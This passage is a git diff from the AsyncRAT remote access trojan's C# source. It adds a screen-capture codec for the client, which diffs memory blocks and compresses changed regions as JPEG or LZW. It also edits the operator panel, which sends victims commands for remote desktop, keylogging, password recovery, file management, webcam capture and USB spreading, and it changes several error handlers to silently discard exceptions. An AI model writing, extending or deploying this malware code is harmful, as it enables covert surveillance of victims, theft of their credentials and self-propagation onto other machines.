(uint)RawLength); + } + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + if (this.EncodedFormat != Format) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + + List Blocks = new List(); + int index = 0; + + Size s = new Size(ScanArea.Width, CheckBlock.Height); + Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); + + int lasty = ScanArea.Height - lastSize.Height; + int lastx = ScanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + s = new Size(ScanArea.Width, s.Height); + fixed (byte* encBuffer = EncodeBuffer) + { + for (int y = ScanArea.Y; y != ScanArea.Height; ) + { + if (y == lasty) + s = new Size(ScanArea.Width, lastSize.Height); + cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + int offset = (y * Stride) + (ScanArea.X * PixelSize); + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) + { + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + x = ScanArea.X; + while (x != ScanArea.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + + cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); + bool FoundChanges = false; + int blockStride = PixelSize * cBlock.Width; + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X); + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) + FoundChanges = true; + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + } + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if(FoundChanges) + { + index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + x += s.Width; + } + } + } + + /*int maxHeight = 0; + int maxWidth = 0; + + for (int i = 0; i < finalUpdates.Count; i++) + { + if (finalUpdates[i].Height > maxHeight) + maxHeight = finalUpdates[i].Height; + maxWidth += finalUpdates[i].Width; + } + + Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1); + int XOffset = 0;*/ + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + /*using (Graphics g = Graphics.FromImage(bmp)) + { + g.DrawImage(TmpBmp, new Point(XOffset, 0)); + } + XOffset += TmpBmp.Width;*/ + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Length; + long OldPos = outStream.Position; + + if (UseJPEG) + { + base.jpgCompression.Compress(TmpBmp, ref outStream); + } + else + { + base.lzwCompression.Compress(TmpBmp, outStream); + } + + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + + /*if (finalUpdates.Count > 0) + { + byte[] lele = base.jpgCompression.Compress(bmp); + byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1); + bool Won = lele.Length < outStream.Length; + bool CompressWon = compressed.Length < outStream.Length; + Console.WriteLine(Won + ", " + CompressWon); + } + bmp.Dispose();*/ + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + Blocks.Clear(); + finalUpdates.Clear(); + } + } + + public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + return decodedBitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + using (Graphics g = Graphics.FromImage(decodedBitmap)) + { + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + tempData = null; + + byte[] buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + using (MemoryStream m = new MemoryStream(buffer)) + using (Bitmap tmp = (Bitmap)Image.FromStream(m)) + { + g.DrawImage(tmp, rect.Location); + } + buffer = null; + DataSize -= UpdateLen + (4 * 5); + } + } + return decodedBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs new file mode 100644 index 0000000..0f911b5 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs @@ -0,0 +1,49 @@ +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Client.StreamLibrary.src +{ + public class JpgCompression + { + private EncoderParameter parameter; + private ImageCodecInfo encoderInfo; + private EncoderParameters encoderParams; + + public JpgCompression(int Quality) + { + this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); + this.encoderInfo = GetEncoderInfo("image/jpeg"); + this.encoderParams = new EncoderParameters(2); + this.encoderParams.Param[0] = parameter; + this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2); + } + + public byte[] Compress(Bitmap bmp) + { + using (MemoryStream stream = new MemoryStream()) + { + bmp.Save(stream, encoderInfo, encoderParams); + return stream.ToArray(); + } + } + public void Compress(Bitmap bmp, ref Stream TargetStream) + { + bmp.Save(TargetStream, encoderInfo, encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + int num2 = imageEncoders.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (imageEncoders[i].MimeType == mimeType) + { + return imageEncoders[i]; + } + } + return null; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs new file mode 100644 index 0000000..2654908 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs @@ -0,0 +1,52 @@ +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Client.StreamLibrary.src +{ + public class LzwCompression + { + private EncoderParameter parameter; + private ImageCodecInfo encoderInfo; + private EncoderParameters encoderParams; + + public LzwCompression(int Quality) + { + this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); + this.encoderInfo = GetEncoderInfo("image/jpeg"); + this.encoderParams = new EncoderParameters(2); + this.encoderParams.Param[0] = parameter; + this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW); + } + + public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null) + { + using (MemoryStream stream = new MemoryStream()) + { + if (AdditionInfo != null) + stream.Write(AdditionInfo, 0, AdditionInfo.Length); + bmp.Save(stream, encoderInfo, encoderParams); + return stream.ToArray(); + } + } + public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null) + { + if (AdditionInfo != null) + stream.Write(AdditionInfo, 0, AdditionInfo.Length); + bmp.Save(stream, encoderInfo, encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + for (int i = 0; i < imageEncoders.Length; i++) + { + if (imageEncoders[i].MimeType == mimeType) + { + return imageEncoders[i]; + } + } + return null; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs new file mode 100644 index 0000000..f8dbe91 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs @@ -0,0 +1,20 @@ +using System; +using System.Runtime.InteropServices; + +namespace Client.StreamLibrary.src +{ + public class NativeMethods + { + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/app.config b/AsyncRAT-C#/AsyncRAT-C#/Client/app.config similarity index 100% rename from AsyncRAT-C#/Client/app.config rename to AsyncRAT-C#/AsyncRAT-C#/Client/app.config diff --git a/AsyncRAT-C#/Server/Algorithm/Aes256.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Algorithm/Aes256.cs similarity index 100% rename from AsyncRAT-C#/Server/Algorithm/Aes256.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Algorithm/Aes256.cs diff --git a/AsyncRAT-C#/Server/Algorithm/Sha256.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Algorithm/Sha256.cs similarity index 100% rename from AsyncRAT-C#/Server/Algorithm/Sha256.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Algorithm/Sha256.cs diff --git a/AsyncRAT-C#/Server/App.config b/AsyncRAT-C#/AsyncRAT-C#/Server/App.config similarity index 100% rename from AsyncRAT-C#/Server/App.config rename to AsyncRAT-C#/AsyncRAT-C#/Server/App.config diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Connection/Clients.cs similarity index 100% rename from AsyncRAT-C#/Server/Connection/Clients.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Connection/Clients.cs diff --git a/AsyncRAT-C#/Server/Connection/Listener.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Connection/Listener.cs similarity index 100% rename from AsyncRAT-C#/Server/Connection/Listener.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Connection/Listener.cs diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.Designer.cs similarity index 99% rename from AsyncRAT-C#/Server/Forms/Form1.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index b04d03a..31d56f9 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -280,7 +280,7 @@ // this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop; this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1"; - this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click); // @@ -288,7 +288,7 @@ // this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1"; - this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.keyloggerToolStripMenuItem1.Text = "Keylogger"; this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click); // @@ -296,7 +296,7 @@ // this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key; this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1"; - this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click); // @@ -304,7 +304,7 @@ // this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager; this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1"; - this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.fileManagerToolStripMenuItem1.Text = "File Manager"; this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click); // @@ -312,7 +312,7 @@ // this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process; this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1"; - this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.processManagerToolStripMenuItem1.Text = "Process Manager"; this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click); // @@ -323,7 +323,7 @@ this.stopToolStripMenuItem2}); this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report; this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem"; - this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.reportWindowToolStripMenuItem.Text = "Report Window"; // // runToolStripMenuItem1 @@ -344,7 +344,7 @@ // this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam; this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; - this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.webcamToolStripMenuItem.Text = "Webcam"; this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click); // diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.cs similarity index 95% rename from AsyncRAT-C#/Server/Forms/Form1.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.cs index 98d436d..3a8f1e0 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.cs @@ -16,7 +16,6 @@ using Server.Handle_Packet; using Server.Helper; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; -using System.Text; /* │ Author : NYAN CAT @@ -618,19 +617,20 @@ namespace Server private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e) { - if (listView1.SelectedItems.Count > 0) + if (listView1.SelectedItems.Count > 0) { try { + //DLL Plugin + //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + //msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop); MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Command").AsString = "invoke"; - msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginDesktop.dll")); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "capture"; + msgpack.ForcePathObject("Quality").AsInteger = 30; foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; - msgpack.ForcePathObject("Host").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[0]; - msgpack.ForcePathObject("Port").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[1]; this.BeginInvoke((MethodInvoker)(() => { FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; @@ -650,11 +650,7 @@ namespace Server })); } } - catch (Exception ex) - { - MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); - return; - } + catch { } } } @@ -665,9 +661,8 @@ namespace Server if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Command").AsString = "invoke"; - msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "LimeLogger.dll")); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("isON").AsString = "true"; foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -680,7 +675,8 @@ namespace Server { Name = "keyLogger:" + client.ID, Text = "keyLogger:" + client.ID, - F = this + F = this, + Client = client }; KL.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -711,7 +707,7 @@ namespace Server Name = "chat:" + client.ID, Text = "chat:" + client.ID, F = this, - ParentClient = client + Client = client }; shell.Show(); } @@ -729,9 +725,8 @@ namespace Server if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Command").AsString = "invoke"; - msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginFileManager.dll")); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getDrivers"; foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -745,8 +740,8 @@ namespace Server Name = "fileManager:" + client.ID, Text = "fileManager:" + client.ID, F = this, - ParentClient = client, - FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "FileManager") + Client = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") }; fileManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -755,11 +750,7 @@ namespace Server } } } - catch (Exception ex) - { - MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); - return; - } + catch { } } private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e) @@ -780,11 +771,7 @@ namespace Server new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); tabControl1.SelectedIndex = 1; } - catch (Exception ex) - { - MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); - return; - } + catch { } } } @@ -849,7 +836,7 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "usb"; + msgpack.ForcePathObject("Packet").AsString = "usbSpread"; msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread); foreach (ListViewItem itm in listView1.SelectedItems) { @@ -859,11 +846,7 @@ namespace Server new HandleLogs().Addmsg("Sending USB Spread..", Color.Black); tabControl1.SelectedIndex = 1; } - catch (Exception ex) - { - MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); - return; - } + catch { } } } @@ -1276,9 +1259,8 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Command").AsString = "invoke"; - msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginCam.dll")); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -1301,11 +1283,7 @@ namespace Server })); } } - catch (Exception ex) - { - MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); - return; - } + catch { } } } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.resx similarity index 99% rename from AsyncRAT-C#/Server/Forms/Form1.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.resx index 6483fbc..b503ef2 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/Form1.resx @@ -124,7 +124,7 @@ 234, 17 - 392, 17 + 386, 21 490, 17 diff --git a/AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormAbout.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormAbout.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormAbout.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormAbout.cs diff --git a/AsyncRAT-C#/Server/Forms/FormAbout.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormAbout.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormAbout.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormAbout.resx diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormBuilder.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormBuilder.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormBuilder.cs diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormBuilder.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormBuilder.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormBuilder.resx diff --git a/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormCertificate.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormCertificate.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormCertificate.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormCertificate.cs diff --git a/AsyncRAT-C#/Server/Forms/FormCertificate.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormCertificate.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormCertificate.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormCertificate.resx diff --git a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs similarity index 95% rename from AsyncRAT-C#/Server/Forms/FormChat.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs index fd7f708..47dfb20 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs @@ -42,7 +42,6 @@ | System.Windows.Forms.AnchorStyles.Right))); this.richTextBox1.BackColor = System.Drawing.SystemColors.Window; this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.richTextBox1.Enabled = false; this.richTextBox1.Location = new System.Drawing.Point(12, 12); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; @@ -53,7 +52,6 @@ // textBox1 // this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom; - this.textBox1.Enabled = false; this.textBox1.Location = new System.Drawing.Point(0, 384); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(757, 26); @@ -62,6 +60,7 @@ // // timer1 // + this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -84,8 +83,8 @@ } #endregion + private System.Windows.Forms.TextBox textBox1; public System.Windows.Forms.RichTextBox richTextBox1; - public System.Windows.Forms.Timer timer1; - public System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.cs new file mode 100644 index 0000000..e6187fe --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.cs @@ -0,0 +1,70 @@ +using Server.MessagePack; +using Server.Connection; +using Microsoft.VisualBasic; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Threading; + +namespace Server.Forms +{ + public partial class FormChat : Form + { + public Form1 F { get; set; } + internal Clients Client { get; set; } + private string Nickname = "Admin"; + public FormChat() + { + InitializeComponent(); + } + + private void TextBox1_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) + { + richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; + msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + textBox1.Clear(); + } + } + + private void FormChat_Load(object sender, EventArgs e) + { + string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin"); + if (string.IsNullOrEmpty(nick)) + this.Close(); + else + { + Nickname = nick; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chat"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + } + + private void FormChat_FormClosed(object sender, FormClosedEventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatExit"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void Timer1_Tick(object sender, EventArgs e) + { + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { } + } + } +} diff --git a/AsyncRAT-C#/Server/Forms/FormChat.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormChat.resx rename to 